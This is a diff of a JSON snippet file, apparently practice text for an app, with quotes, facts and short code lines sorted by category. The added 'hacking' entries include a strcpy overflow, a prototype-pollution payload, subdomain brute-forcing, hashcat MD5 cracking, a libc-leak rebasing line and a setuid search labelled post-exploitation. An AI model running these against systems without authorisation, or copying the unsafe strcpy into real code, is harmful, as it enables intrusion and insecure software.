+ "content": "The Nellie, a cruising yawl, swung to her anchor without a flutter of the sails, and was at rest. The flood had made, the wind was nearly calm, and being bound down the river, the only thing for it was to come to and wait for the turn of the tide.",
+ "attribution": "Joseph Conrad, Heart of Darkness"
},
{
"category": "business",
- "content": "Branding is the practice of shaping how customers perceive a company, going beyond a logo to include tone, values, and the overall experience of using a product.",
+ "content": "Market research helps a business understand its customers' needs and preferences before committing resources to a new product or service.",
"attribution": "Business"
},
{
"category": "literature",
- "content": "It was the best of times, it was the worst of times.",
- "attribution": "Charles Dickens, A Tale of Two Cities"
+ "content": "There was no possibility of taking a walk that day. We had been wandering, indeed, in the leafless shrubbery an hour in the morning, but since dinner the cold winter wind had brought with it clouds so sombre, and a rain so penetrating.",
+ "attribution": "Charlotte Bronte, Jane Eyre"
+ },
+ {
+ "category": "technology",
+ "content": "Quantum computing uses the principles of quantum mechanics to process information in ways that classical computers cannot, potentially solving certain problems far faster.",
+ "attribution": "Technology"
+ },
+ {
+ "category": "movies",
+ "content": "What we've got here is failure to communicate.",
+ "attribution": "Cool Hand Luke (1967)"
},
{
"category": "nature",
- "content": "The Amazon rainforest is home to an estimated ten percent of all known species on Earth, making it one of the most biodiverse regions on the planet.",
+ "content": "A rainforest canopy can be so dense that less than two percent of sunlight reaches the forest floor below.",
"attribution": "Nature"
},
{
- "category": "philosophy",
- "content": "The only true wisdom is in knowing you know nothing.",
- "attribution": "Socrates"
+ "category": "history",
+ "content": "The Industrial Revolution transformed economies across Europe and North America during the eighteenth and nineteenth centuries, shifting production from hand tools to machines.",
+ "attribution": "History"
},
{
- "category": "anime",
- "content": "Even if you can't see it, the river keeps flowing under the ice.",
- "attribution": "March Comes in Like a Lion"
+ "category": "quotes",
+ "content": "Four score and seven years ago our fathers brought forth on this continent a new nation, conceived in Liberty, and dedicated to the proposition that all men are created equal.",
+ "attribution": "Abraham Lincoln, The Gettysburg Address"
},
{
"category": "technology",
- "content": "A blockchain is a distributed ledger that records transactions across many computers, making it difficult to alter any single record without changing every subsequent block.",
+ "content": "Machine learning is a branch of artificial intelligence in which a system improves its performance on a task by learning patterns from data rather than following explicit instructions.",
"attribution": "Technology"
},
{
- "category": "movies",
- "content": "I'm as mad as hell, and I'm not going to take this anymore.",
- "attribution": "Network (1976)"
+ "category": "hacking",
+ "content": "char buf[64]; strcpy(buf, argv[1]); /* no bound - argv[1] decides the write length */",
+ "attribution": "Memory safety",
+ "language": "clike",
+ "explanation": "The classic overflow: strcpy writes until it finds a NUL, buf holds 64 bytes, and nothing checks which is larger."
},
{
- "category": "programming",
- "content": "if (typeof value !== 'string' || value.length === 0) { return null; }",
- "attribution": "JavaScript",
- "language": "javascript",
- "explanation": "A guard clause: reject the bad input first and return, instead of nesting the real work inside an if."
+ "category": "general",
+ "content": "The Pacific Ocean covers more of the planet than all the continents combined. It stretches from the icy waters near Antarctica to the Arctic Circle, and its deepest point, the Mariana Trench, plunges nearly eleven kilometers below the surface.",
+ "attribution": "General knowledge"
},
{
"category": "anime",
- "content": "You should enjoy the little detours to the fullest, because that's where you'll find the things more important than what you want.",
- "attribution": "Hunter x Hunter"
+ "content": "We fear that which we cannot see.",
+ "attribution": "Bleach"
},
{
"category": "anime",
- "content": "You have no enemies. Nobody has any enemies. There is nobody that you should hurt.",
- "attribution": "Vinland Saga"
+ "content": "I feel like I'm always searching for someone, or something.",
+ "attribution": "Your Name"
},
{
- "category": "history",
- "content": "I will fight no more forever.",
- "attribution": "Chief Joseph, Nez Perce, 1877"
+ "category": "programming",
+ "content": "int *buf = malloc(len * sizeof(int)); if (!buf) return -1;",
+ "attribution": "C",
+ "language": "clike",
+ "explanation": "malloc returns NULL when it fails, and checking is not optional. sizeof(int) rather than 4 keeps it correct across platforms."
},
{
- "category": "literature",
- "content": "You don't know about me without you have read a book by the name of The Adventures of Tom Sawyer, but that ain't no matter. That book was made by Mr. Mark Twain, and he told the truth, mainly.",
- "attribution": "Mark Twain, Adventures of Huckleberry Finn"
+ "category": "philosophy",
+ "content": "Waste no more time arguing about what a good man should be. Be one.",
+ "attribution": "Marcus Aurelius, Meditations"
},
{
"category": "programming",
- "content": "const unique = [...new Set(values)].sort((a, b) => a - b);",
- "attribution": "JavaScript",
- "language": "javascript",
- "explanation": "A Set discards duplicates. Spreading it back to an array allows sorting; the comparator is required or numbers sort as text."
+ "content": "for f in *.log; do gzip -9 \"$f\" && echo \"packed $f\"; done",
+ "attribution": "Shell",
+ "language": "shell",
+ "explanation": "The quotes around $f matter: without them a filename containing a space becomes two arguments."
},
{
- "category": "science",
- "content": "Marie Curie remains the only person to win Nobel Prizes in two different sciences, physics and chemistry, for her pioneering research into radioactivity.",
- "attribution": "Science"
+ "category": "anime",
+ "content": "A heart's a heavy burden.",
+ "attribution": "Howl's Moving Castle"
},
{
- "category": "technology",
- "content": "Machine learning is a branch of artificial intelligence in which a system improves its performance on a task by learning patterns from data rather than following explicit instructions.",
- "attribution": "Technology"
+ "category": "anime",
+ "content": "If you don't take risks, you can't create a future.",
+ "attribution": "One Piece"
},
{
- "category": "philosophy",
- "content": "The beginning is the most important part of the work.",
- "attribution": "Plato, The Republic"
+ "category": "literature",
+ "content": "My father's family name being Pirrip, and my Christian name Philip, my infant tongue could make of both names nothing longer or more explicit than Pip. So, I called myself Pip, and came to be called Pip.",
+ "attribution": "Charles Dickens, Great Expectations"
},
{
- "category": "business",
- "content": "Henry Ford, founder of the Ford Motor Company, is credited with popularizing the moving assembly line, which dramatically reduced the time needed to build an automobile.",
- "attribution": "History of Business"
+ "category": "hacking",
+ "content": "iptables -P INPUT DROP && iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT",
+ "attribution": "Defence",
+ "language": "shell",
+ "explanation": "Blocks everything inbound by default and allows what is needed back. A deny-by-default policy is the only kind worth writing."
},
{
- "category": "general",
- "content": "The quick brown fox jumps over the lazy dog.",
- "attribution": "Traditional pangram"
+ "category": "hacking",
+ "content": "JSON.parse('{\"__proto__\": {\"isAdmin\": true}}')",
+ "attribution": "Web",
+ "language": "javascript",
+ "explanation": "Prototype pollution: writing through __proto__ reaches every object that inherits from it."
},
{
- "category": "nature",
- "content": "The deepest part of the ocean, the Mariana Trench, plunges nearly eleven kilometers below the surface, deeper than Mount Everest is tall.",
- "attribution": "Nature"
+ "category": "anime",
+ "content": "What I want more than anything is for you to live and help me live too.",
+ "attribution": "A Silent Voice"
},
{
"category": "programming",
- "content": "impl Display for Token { fn fmt(&self, f: &mut Formatter) -> Result { write!(f, \"{}\", self.0) } }",
- "attribution": "Rust",
- "language": "rust",
- "explanation": "Implementing Display is what makes a type usable in {}. self.0 is the first field of a tuple struct."
+ "content": "for (int i = 0; i < n; i++) { sum += a[i] * b[i]; }",
+ "attribution": "C",
+ "language": "clike",
+ "explanation": "A dot product. The bound is < n, not <= n; off-by-one here reads past the end of the array."
},
{
"category": "programming",
- "content": "match result { Ok(v) => println!(\"{v}\"), Err(e) => eprintln!(\"error: {e}\") }",
- "attribution": "Rust",
- "language": "rust",
- "explanation": "match on a Result must cover both arms - the compiler rejects it otherwise, which is how Rust stops an error going unhandled."
+ "content": "if err != nil { return fmt.Errorf(\"read config: %w\", err) }",
+ "attribution": "Go",
+ "language": "clike",
+ "explanation": "Go's error convention. %w wraps the original so errors.Is and errors.As can still see it further up."
},
{
- "category": "technology",
- "content": "Robotics combines mechanical engineering, electronics, and computer science to design machines capable of performing tasks autonomously or with minimal human control.",
- "attribution": "Technology"
+ "category": "science",
+ "content": "A black hole forms when a massive star collapses under its own gravity, packing so much mass into so small a space that not even light can escape its pull.",
+ "attribution": "Science"
},
{
- "category": "literature",
- "content": "I read that every known superstition in the world is gathered into the horseshoe of the Carpathians, as if it were the centre of some sort of imaginative whirlpool, and it made me uneasy in a way I could not explain.",
- "attribution": "Bram Stoker, Dracula"
+ "category": "quotes",
+ "content": "The two most important days in your life are the day you are born and the day you find out why.",
+ "attribution": "Mark Twain"
},
{
- "category": "movies",
- "content": "There's no crying in baseball.",
- "attribution": "A League of Their Own (1992)"
+ "category": "quotes",
+ "content": "The only limit to our realization of tomorrow is our doubts of today.",
+ "attribution": "Franklin D. Roosevelt"
+ },
+ {
+ "category": "hacking",
+ "content": "if not hmac.compare_digest(expected_sig, provided_sig): raise ValueError('bad signature')",
+ "attribution": "Defence",
+ "language": "python",
+ "explanation": "Constant-time comparison. A plain == returns early on the first differing byte, which leaks the answer through timing."
},
{
"category": "quotes",
- "content": "Stay hungry, stay foolish.",
- "attribution": "Steve Jobs"
+ "content": "Failure is impossible.",
+ "attribution": "Susan B. Anthony"
},
{
"category": "general",
- "content": "Antarctica is technically the largest desert on the planet. Despite being covered in ice, it receives very little precipitation each year, which is the defining characteristic of a desert rather than temperature alone.",
+ "content": "Venus is the hottest planet in the solar system, even though Mercury sits closer to the sun. A thick blanket of carbon dioxide traps heat at the surface.",
"attribution": "General knowledge"
},
{
- "category": "history",
- "content": "The Apollo 11 mission landed the first humans on the Moon in July of 1969, when astronauts Neil Armstrong and Buzz Aldrin walked on the lunar surface.",
- "attribution": "History"
- },
- {
- "category": "movies",
- "content": "Get busy living, or get busy dying.",
- "attribution": "The Shawshank Redemption (1994)"
+ "category": "literature",
+ "content": "It was the best of times, it was the worst of times.",
+ "attribution": "Charles Dickens, A Tale of Two Cities"
},
{
- "category": "programming",
- "content": "fn main() { println!(\"{}\", args().skip(1).collect::<Vec<_>>().join(\" \")); }",
- "attribution": "Rust",
- "language": "rust",
- "explanation": "skip(1) drops the program name, which is always the first argument. Vec<_> lets the compiler infer the element type."
+ "category": "philosophy",
+ "content": "A journey of a thousand miles begins with a single step.",
+ "attribution": "Lao Tzu, Tao Te Ching"
},
{
- "category": "quotes",
- "content": "If there is no struggle, there is no progress. Those who profess to favor freedom, and yet depreciate agitation, are men who want crops without plowing up the ground.",
- "attribution": "Frederick Douglass"
+ "category": "science",
+ "content": "Vaccines work by training the immune system to recognize a weakened or partial version of a pathogen, so the body can respond quickly if it ever encounters the real threat.",
+ "attribution": "Science"
},
{
- "category": "movies",
- "content": "You're gonna need a bigger boat.",
- "attribution": "Jaws (1975)"
+ "category": "business",
+ "content": "Return on investment measures the profitability of an investment relative to its cost, expressed as a percentage to make it easy to compare different opportunities.",
+ "attribution": "Business"
},
{
- "category": "science",
- "content": "Genetics research has shown that humans share about ninety-nine percent of their DNA with chimpanzees, the closest living relative to our species.",
- "attribution": "Science"
+ "category": "philosophy",
+ "content": "The only true wisdom is in knowing you know nothing.",
+ "attribution": "Socrates"
},
{
"category": "programming",
- "content": "document.querySelectorAll('.row').forEach(el => el.classList.toggle('active'));",
- "attribution": "JavaScript",
- "language": "javascript",
- "explanation": "querySelectorAll returns a static NodeList, so it will not change as you mutate the elements in it."
+ "content": "struct node { int value; struct node *next; };",
+ "attribution": "C",
+ "language": "clike",
+ "explanation": "A linked-list node. It refers to its own type through a pointer, which is legal because a pointer has a known size."
},
{
- "category": "programming",
- "content": "const { id, name = 'anonymous', ...rest } = await request.json();",
- "attribution": "JavaScript",
- "language": "javascript",
- "explanation": "Destructuring with a default and a rest property. The default applies only when the value is undefined, not when it is null."
+ "category": "quotes",
+ "content": "Genius is one percent inspiration and ninety-nine percent perspiration.",
+ "attribution": "Thomas Edison"
},
{
- "category": "history",
- "content": "The Wright brothers achieved the first powered, controlled flight in 1903 near Kitty Hawk, North Carolina, a flight that lasted only twelve seconds.",
- "attribution": "History"
+ "category": "programming",
+ "content": "with open('data.csv', encoding='utf-8') as f: rows = [line.split(',') for line in f]",
+ "attribution": "Python",
+ "language": "python",
+ "explanation": "with closes the file even if the body raises. Iterating a file yields lines without loading it all into memory."
},
{
- "category": "history",
- "content": "The Silk Road was not a single road but a network of trade routes connecting China to the Mediterranean, carrying silk, spices, and ideas across the ancient world.",
- "attribution": "History"
+ "category": "philosophy",
+ "content": "All men by nature desire to know.",
+ "attribution": "Aristotle, Metaphysics"
},
{
"category": "technology",
- "content": "The World Wide Web was invented by Tim Berners-Lee in 1989 as a way to share documents over the internet using hyperlinks.",
+ "content": "Fiber optic cables transmit data as pulses of light through thin strands of glass, allowing information to travel at extremely high speeds over long distances.",
"attribution": "Technology"
},
{
- "category": "nature",
- "content": "Mycorrhizal fungi form partnerships with the roots of most plants, helping them absorb water and nutrients in exchange for sugars produced by photosynthesis.",
- "attribution": "Nature"
+ "category": "movies",
+ "content": "Do. Or do not. There is no try.",
+ "attribution": "The Empire Strikes Back (1980)"
},
{
- "category": "philosophy",
- "content": "Every new beginning comes from some other beginning's end.",
- "attribution": "Seneca, Letters from a Stoic"
+ "category": "general",
+ "content": "The shortest war in recorded history was fought between Britain and Zanzibar in 1896. It lasted around forty minutes before Zanzibar surrendered.",
+ "attribution": "General knowledge"
},
{
- "category": "literature",
- "content": "Alice was beginning to get very tired of sitting by her sister on the bank, and of having nothing to do. Once or twice she had peeped into the book her sister was reading, but it had no pictures or conversations in it.",
- "attribution": "Lewis Carroll, Alice's Adventures in Wonderland"
+ "category": "movies",
+ "content": "I'm as mad as hell, and I'm not going to take this anymore.",
+ "attribution": "Network (1976)"
+ },
+ {
+ "category": "philosophy",
+ "content": "The impediment to action advances action. What stands in the way becomes the way.",
+ "attribution": "Marcus Aurelius, Meditations"
},
{
"category": "science",
- "content": "The theory of plate tectonics explains how the Earth's outer shell is broken into large plates that slowly drift over the mantle, causing earthquakes, volcanoes, and mountain formation.",
+ "content": "DNA carries the genetic instructions for every living organism, encoded in a sequence of four chemical bases that pair together to form the famous double helix shape.",
"attribution": "Science"
},
{
- "category": "history",
- "content": "Ancient Egyptian civilization flourished along the Nile River for thousands of years, leaving behind monuments such as the pyramids of Giza and the temples of Luxor.",
- "attribution": "History"
+ "category": "literature",
+ "content": "You don't know about me without you have read a book by the name of The Adventures of Tom Sawyer, but that ain't no matter. That book was made by Mr. Mark Twain, and he told the truth, mainly.",
+ "attribution": "Mark Twain, Adventures of Huckleberry Finn"
},
{
"category": "programming",
- "content": "squares = [n * n for n in range(1, 21) if n % 3 != 0]",
+ "content": "counts = {word: text.count(word) for word in set(text.split())}",
"attribution": "Python",
"language": "python",
- "explanation": "A list comprehension: the expression, the loop, then the filter. Faster and clearer than appending in a for loop."
- },
- {
- "category": "general",
- "content": "The Eiffel Tower grows about six inches taller in the summer, as the iron structure expands slightly in the heat and contracts again once the weather cools.",
- "attribution": "General knowledge"
- },
- {
- "category": "philosophy",
- "content": "A journey of a thousand miles begins with a single step.",
- "attribution": "Lao Tzu, Tao Te Ching"
+ "explanation": "A dict comprehension. Note it is quadratic: count rescans the whole string per word. collections.Counter is the right tool."
},
{
- "category": "programming",
- "content": "with open('data.csv', encoding='utf-8') as f: rows = [line.split(',') for line in f]",
- "attribution": "Python",
- "language": "python",
- "explanation": "with closes the file even if the body raises. Iterating a file yields lines without loading it all into memory."
+ "category": "business",
+ "content": "Branding is the practice of shaping how customers perceive a company, going beyond a logo to include tone, values, and the overall experience of using a product.",
+ "attribution": "Business"
},
{
- "category": "technology",
- "content": "Artificial intelligence refers to computer systems designed to perform tasks that normally require human intelligence, such as recognizing speech, images, or patterns in data.",
- "attribution": "Technology"
+ "category": "quotes",
+ "content": "That man over there says that women need to be helped into carriages, and lifted over ditches, and to have the best place everywhere. Nobody ever helps me into carriages, or over mud puddles, or gives me any best place, and ain't I a woman?",
+ "attribution": "Sojourner Truth, Ain't I a Woman?"
},
{
- "category": "programming",
- "content": "pub struct Point { pub x: f64, pub y: f64 }",
- "attribution": "Rust",
- "language": "rust",
- "explanation": "Fields are private by default in Rust, so each one needs its own pub - making the struct public does not publish its contents."
+ "category": "nature",
+ "content": "The Sahara Desert was once a green landscape with lakes and grasslands, before a shift in the Earth's orbit altered rainfall patterns thousands of years ago.",
+ "attribution": "Nature"
},
{
"category": "history",
- "content": "The Great Depression of the 1930s began with the stock market crash of 1929 and led to widespread unemployment and economic hardship across the globe.",
+ "content": "The Cold War divided much of the world into two opposing blocs for nearly half a century, one aligned with the United States and the other with the Soviet Union.",
"attribution": "History"
},
{
"category": "philosophy",
- "content": "I think, therefore I am.",
- "attribution": "Rene Descartes, Discourse on the Method"
+ "content": "The beginning is the most important part of the work.",
+ "attribution": "Plato, The Republic"
+ },
+ {
+ "category": "general",
+ "content": "Bamboo is one of the fastest growing plants on Earth. Some species can grow nearly a meter in a single day under the right conditions, which is why it is used so widely in construction and manufacturing across Asia.",
+ "attribution": "General knowledge"
},
{
"category": "movies",
- "content": "It's only after we've lost everything that we're free to do anything.",
- "attribution": "Fight Club (1999)"
+ "content": "We used to look up at the sky and wonder at our place in the stars. Now we just look down and worry about our place in the dirt.",
+ "attribution": "Interstellar (2014)"
},
{
- "category": "literature",
- "content": "All we have to decide is what to do with the time that is given us.",
- "attribution": "J.R.R. Tolkien, The Fellowship of the Ring"
+ "category": "history",
+ "content": "Ancient Egyptian civilization flourished along the Nile River for thousands of years, leaving behind monuments such as the pyramids of Giza and the temples of Luxor.",
+ "attribution": "History"
},
{
- "category": "nature",
- "content": "The Sahara Desert was once a green landscape with lakes and grasslands, before a shift in the Earth's orbit altered rainfall patterns thousands of years ago.",
- "attribution": "Nature"
+ "category": "science",
+ "content": "Water is one of the few substances that becomes less dense as it freezes, which is why ice floats on top of liquid water instead of sinking to the bottom.",
+ "attribution": "Science"
},
{
- "category": "nature",
- "content": "A single mature tree can absorb around twenty two kilograms of carbon dioxide per year, making forests an important part of regulating the planet's climate.",
- "attribution": "Nature"
+ "category": "history",
+ "content": "The Wright brothers achieved the first powered, controlled flight in 1903 near Kitty Hawk, North Carolina, a flight that lasted only twelve seconds.",
+ "attribution": "History"
},
{
- "category": "movies",
- "content": "If you build it, he will come.",
- "attribution": "Field of Dreams (1989)"
+ "category": "business",
+ "content": "A monopoly exists when a single company dominates an entire market with no significant competition, often leading regulators to intervene to protect consumers.",
+ "attribution": "Business"
},
{
- "category": "quotes",
- "content": "The two most important days in your life are the day you are born and the day you find out why.",
- "attribution": "Mark Twain"
+ "category": "anime",
+ "content": "Even if you can't see it, the river keeps flowing under the ice.",
+ "attribution": "March Comes in Like a Lion"
},
{
"category": "movies",
- "content": "All we have to decide is what to do with the time that is given us.",
- "attribution": "The Lord of the Rings: The Fellowship of the Ring (2001)"
+ "content": "It's only after we've lost everything that we're free to do anything.",
+ "attribution": "Fight Club (1999)"
},
{
"category": "literature",
- "content": "The Nellie, a cruising yawl, swung to her anchor without a flutter of the sails, and was at rest. The flood had made, the wind was nearly calm, and being bound down the river, the only thing for it was to come to and wait for the turn of the tide.",
- "attribution": "Joseph Conrad, Heart of Darkness"
+ "content": "It is a truth universally acknowledged, that a single man in possession of a good fortune, must be in want of a wife. However little known the feelings or views of such a man may be on his first entering a neighbourhood, this truth is so well fixed in the minds of the surrounding families.",
+ "attribution": "Jane Austen, Pride and Prejudice"
+ },
+ {
+ "category": "philosophy",
+ "content": "It is not that we have a short time to live, but that we waste a lot of it.",
+ "attribution": "Seneca, On the Shortness of Life"
},
{
"category": "general",
- "content": "A single bolt of lightning can heat the surrounding air to temperatures hotter than the surface of the sun. The rapid expansion of that superheated air is what produces the crack of thunder we hear moments later.",
+ "content": "The invention of the printing press in the fifteenth century transformed how knowledge spread across Europe. Books that once took months to copy by hand could suddenly be reproduced by the hundreds, making literacy far more accessible.",
"attribution": "General knowledge"
},
{
- "category": "history",
- "content": "The Industrial Revolution transformed economies across Europe and North America during the eighteenth and nineteenth centuries, shifting production from hand tools to machines.",
- "attribution": "History"
+ "category": "programming",
+ "content": "pub struct Point { pub x: f64, pub y: f64 }",
+ "attribution": "Rust",
+ "language": "rust",
+ "explanation": "Fields are private by default in Rust, so each one needs its own pub - making the struct public does not publish its contents."
},
{
"category": "anime",
- "content": "Humankind cannot gain anything without first giving something in return. To obtain, something of equal value must be lost.",
- "attribution": "Fullmetal Alchemist"
+ "content": "This world is rotten, and those who are making it rot deserve to die.",
+ "attribution": "Death Note"
},
{
- "category": "programming",
- "content": "export async function load(url) { const res = await fetch(url); return res.json(); }",
- "attribution": "JavaScript",
- "language": "javascript",
- "explanation": "fetch resolves as soon as headers arrive, so .json() is a second await for the body. It does not throw on a 404 - check res.ok."
+ "category": "technology",
+ "content": "Robotics combines mechanical engineering, electronics, and computer science to design machines capable of performing tasks autonomously or with minimal human control.",
+ "attribution": "Technology"
},
{
"category": "programming",
- "content": "grep -rn \"TODO\" src/ | awk -F: '{print $1}' | sort -u",
- "attribution": "Shell",
- "language": "shell",
- "explanation": "grep -n prints file:line:text, awk splits on the colon to take the filename, sort -u removes the duplicates."
+ "content": "const unique = [...new Set(values)].sort((a, b) => a - b);",
+ "attribution": "JavaScript",
+ "language": "javascript",
+ "explanation": "A Set discards duplicates. Spreading it back to an array allows sorting; the comparator is required or numbers sort as text."
},
{
"category": "science",
- "content": "A black hole forms when a massive star collapses under its own gravity, packing so much mass into so small a space that not even light can escape its pull.",
+ "content": "Newton's first law of motion states that an object at rest stays at rest, and an object in motion stays in motion, unless acted on by an outside force.",
"attribution": "Science"
},
{
"category": "literature",
- "content": "1801. I have just returned from a visit to my landlord, the solitary neighbour that I shall be troubled with. This is certainly a beautiful country. In all England, I do not believe that I could have fixed on a situation so completely removed from the stir of society.",
- "attribution": "Emily Bronte, Wuthering Heights"
+ "content": "Buck did not read the newspapers, or he would have known that trouble was brewing, not alone for himself, but for every tide-water dog, strong of muscle and with warm, long hair, from Puget Sound to San Diego.",
+ "attribution": "Jack London, The Call of the Wild"
},
{
- "category": "literature",
- "content": "Call me Ishmael. Some years ago, never mind how long precisely, having little or no money in my purse, and nothing particular to interest me on shore, I thought I would sail about a little and see the watery part of the world.",
- "attribution": "Herman Melville, Moby-Dick"
+ "category": "hacking",
+ "content": "gobuster dns -d example.com -w /usr/share/wordlists/subdomains.txt -t 40",
+ "attribution": "Recon",
+ "language": "shell",
+ "explanation": "Resolves a wordlist of names against a domain. Subdomains are where forgotten staging boxes live."
},
{
- "category": "business",
- "content": "The purpose of a business is to create and keep a customer.",
- "attribution": "Peter Drucker"
+ "category": "nature",
+ "content": "The deepest part of the ocean, the Mariana Trench, plunges nearly eleven kilometers below the surface, deeper than Mount Everest is tall.",
+ "attribution": "Nature"
},
{
- "category": "anime",
- "content": "When you look at someone's kindness, it's like looking at the sun.",
- "attribution": "Fruits Basket"
+ "category": "science",
+ "content": "The periodic table arranges chemical elements by increasing atomic number, grouping elements with similar properties into the same columns.",
+ "attribution": "Science"
},
{
- "category": "literature",
- "content": "There was no possibility of taking a walk that day. We had been wandering, indeed, in the leafless shrubbery an hour in the morning, but since dinner the cold winter wind had brought with it clouds so sombre, and a rain so penetrating.",
- "attribution": "Charlotte Bronte, Jane Eyre"
+ "category": "nature",
+ "content": "Deserts are defined by low precipitation rather than temperature, which is why some of the coldest places on Earth, including parts of Antarctica, are technically deserts.",
+ "attribution": "Nature"
},
{
- "category": "literature",
- "content": "Christmas won't be Christmas without any presents, grumbled Jo, lying on the rug. It's so dreadful to be poor, sighed Meg, looking down at her old dress.",
- "attribution": "Louisa May Alcott, Little Women"
+ "category": "nature",
+ "content": "In every walk with nature one receives far more than he seeks.",
+ "attribution": "John Muir"
},
{
- "category": "anime",
- "content": "When people are protecting something truly special to them, they truly can become as strong as they can be.",
- "attribution": "Naruto"
+ "category": "movies",
+ "content": "My mama always said life was like a box of chocolates. You never know what you're gonna get.",
+ "attribution": "Forrest Gump (1994)"
},
{
- "category": "science",
- "content": "Vaccines work by training the immune system to recognize a weakened or partial version of a pathogen, so the body can respond quickly if it ever encounters the real threat.",
- "attribution": "Science"
+ "category": "technology",
+ "content": "A blockchain is a distributed ledger that records transactions across many computers, making it difficult to alter any single record without changing every subsequent block.",
+ "attribution": "Technology"
},
{
- "category": "literature",
- "content": "The studio was filled with the rich odour of roses, and when the light summer wind stirred amidst the trees of the garden, there came through the open door the heavy scent of the lilac, or the more delicate perfume of the pink-flowering thorn.",
- "attribution": "Oscar Wilde, The Picture of Dorian Gray"
+ "category": "movies",
+ "content": "If you build it, he will come.",
+ "attribution": "Field of Dreams (1989)"
},
{
- "category": "quotes",
- "content": "Genius is one percent inspiration and ninety-nine percent perspiration.",
- "attribution": "Thomas Edison"
+ "category": "hacking",
+ "content": "hashcat -m 0 -a 0 hashes.txt rockyou.txt --force",
+ "attribution": "Crypto",
+ "language": "shell",
+ "explanation": "An MD5 of a known-weak hash type. Modern password hashing exists because this takes seconds, not years."
},
{
- "category": "technology",
- "content": "A virtual private network encrypts a device's internet connection, helping to protect data from being intercepted while it travels over a public or untrusted network.",
- "attribution": "Technology"
+ "category": "anime",
+ "content": "When do you think people die? When they are forgotten.",
+ "attribution": "One Piece"
},
{
"category": "general",
- "content": "Venus is the hottest planet in the solar system, even though Mercury sits closer to the sun. A thick blanket of carbon dioxide traps heat at the surface.",
+ "content": "Antarctica is technically the largest desert on the planet. Despite being covered in ice, it receives very little precipitation each year, which is the defining characteristic of a desert rather than temperature alone.",
"attribution": "General knowledge"
},
{
- "category": "movies",
- "content": "Of all the gin joints in all the towns in all the world, she walks into mine.",
- "attribution": "Casablanca (1942)"
+ "category": "hacking",
+ "content": "libc.address = leak - libc.symbols['puts']",
+ "attribution": "Exploit dev",
+ "language": "python",
+ "explanation": "Leaks a libc address from the GOT, then rebases every other libc symbol off it. This is how ASLR is worked around rather than defeated."
},
{
- "category": "movies",
- "content": "My mama always said life was like a box of chocolates. You never know what you're gonna get.",
- "attribution": "Forrest Gump (1994)"
+ "category": "history",
+ "content": "The printing press, developed by Johannes Gutenberg in the fifteenth century, made it possible to produce books far more quickly and cheaply than copying them by hand.",
+ "attribution": "History"
+ },
+ {
+ "category": "programming",
+ "content": "const { id, name = 'anonymous', ...rest } = await request.json();",
+ "attribution": "JavaScript",
+ "language": "javascript",
+ "explanation": "Destructuring with a default and a rest property. The default applies only when the value is undefined, not when it is null."
},
{
"category": "anime",
- "content": "Once you've met someone, you never really forget them.",
- "attribution": "Spirited Away"
+ "content": "The only ones who should kill are those who are prepared to be killed.",
+ "attribution": "Code Geass"
},
{
- "category": "movies",
- "content": "A census taker once tried to test me. I ate his liver with some fava beans and a nice chianti.",
- "attribution": "The Silence of the Lambs (1991)"
+ "category": "business",
+ "content": "The man who dies rich, dies disgraced.",
+ "attribution": "Andrew Carnegie"
},
{
- "category": "philosophy",
- "content": "It does not matter how slowly you go as long as you do not stop.",
- "attribution": "Confucius, Analects"
+ "category": "general",
+ "content": "A single bolt of lightning can heat the surrounding air to temperatures hotter than the surface of the sun. The rapid expansion of that superheated air is what produces the crack of thunder we hear moments later.",
+ "attribution": "General knowledge"
+ },
+ {
+ "category": "movies",
+ "content": "The greatest trick the devil ever pulled was convincing the world he didn't exist.",
+ "attribution": "The Usual Suspects (1995)"
},
{
"category": "literature",
@@ -735,233 +878,208 @@
"attribution": "Arthur Conan Doyle, A Scandal in Bohemia"
},
{
- "category": "literature",
- "content": "Buck did not read the newspapers, or he would have known that trouble was brewing, not alone for himself, but for every tide-water dog, strong of muscle and with warm, long hair, from Puget Sound to San Diego.",
- "attribution": "Jack London, The Call of the Wild"
+ "category": "technology",
+ "content": "The transistor, invented in 1947, replaced bulky vacuum tubes and became the foundational building block of nearly every modern electronic device.",
+ "attribution": "Technology"
},
{
- "category": "general",
- "content": "The Pacific Ocean covers more of the planet than all the continents combined. It stretches from the icy waters near Antarctica to the Arctic Circle, and its deepest point, the Mariana Trench, plunges nearly eleven kilometers below the surface.",
- "attribution": "General knowledge"
+ "category": "literature",
+ "content": "1801. I have just returned from a visit to my landlord, the solitary neighbour that I shall be troubled with. This is certainly a beautiful country. In all England, I do not believe that I could have fixed on a situation so completely removed from the stir of society.",
+ "attribution": "Emily Bronte, Wuthering Heights"
},
{
"category": "anime",
- "content": "The only thing we're allowed to do is to believe that we won't regret the choice we made.",
- "attribution": "Attack on Titan"
+ "content": "You should enjoy the little detours to the fullest, because that's where you'll find the things more important than what you want.",
+ "attribution": "Hunter x Hunter"
},
{
- "category": "anime",
- "content": "The only ones who should kill are those who are prepared to be killed.",
- "attribution": "Code Geass"
+ "category": "business",
+ "content": "A balance sheet summarizes what a company owns and owes at a single point in time, split into assets, liabilities, and shareholders' equity.",
+ "attribution": "Business"
},
{
- "category": "literature",
- "content": "It is a truth universally acknowledged, that a single man in possession of a good fortune, must be in want of a wife. However little known the feelings or views of such a man may be on his first entering a neighbourhood, this truth is so well fixed in the minds of the surrounding families.",
- "attribution": "Jane Austen, Pride and Prejudice"
+ "category": "hacking",
+ "content": "find / -perm -4000 -type f 2>/dev/null",
+ "attribution": "Post-exploitation",
+ "language": "shell",
+ "explanation": "Finds setuid binaries. Anything unusual here runs as its owner no matter who executes it."
},
{
- "category": "nature",
- "content": "Rivers shape the landscape around them over thousands of years, carving canyons and depositing sediment that forms fertile floodplains.",
- "attribution": "Nature"
+ "category": "movies",
+ "content": "I'm gonna make him an offer he can't refuse.",
+ "attribution": "The Godfather (1972)"
},
{
- "category": "technology",
- "content": "A central processing unit executes the instructions of a computer program by performing basic arithmetic, logic, and input and output operations.",
- "attribution": "Technology"
+ "category": "literature",
+ "content": "Not all those who wander are lost.",
+ "attribution": "J.R.R. Tolkien"
},
{
- "category": "philosophy",
- "content": "The impediment to action advances action. What stands in the way becomes the way.",
- "attribution": "Marcus Aurelius, Meditations"
+ "category": "nature",
+ "content": "Mycorrhizal fungi form partnerships with the roots of most plants, helping them absorb water and nutrients in exchange for sugars produced by photosynthesis.",
+ "attribution": "Nature"
},
{
- "category": "literature",
- "content": "Mr. Sherlock Holmes, who was usually very late in the mornings, save upon those not infrequent occasions when he was up all night, was seated at the breakfast table.",
- "attribution": "Arthur Conan Doyle, The Hound of the Baskervilles"
+ "category": "quotes",
+ "content": "Stay hungry, stay foolish.",
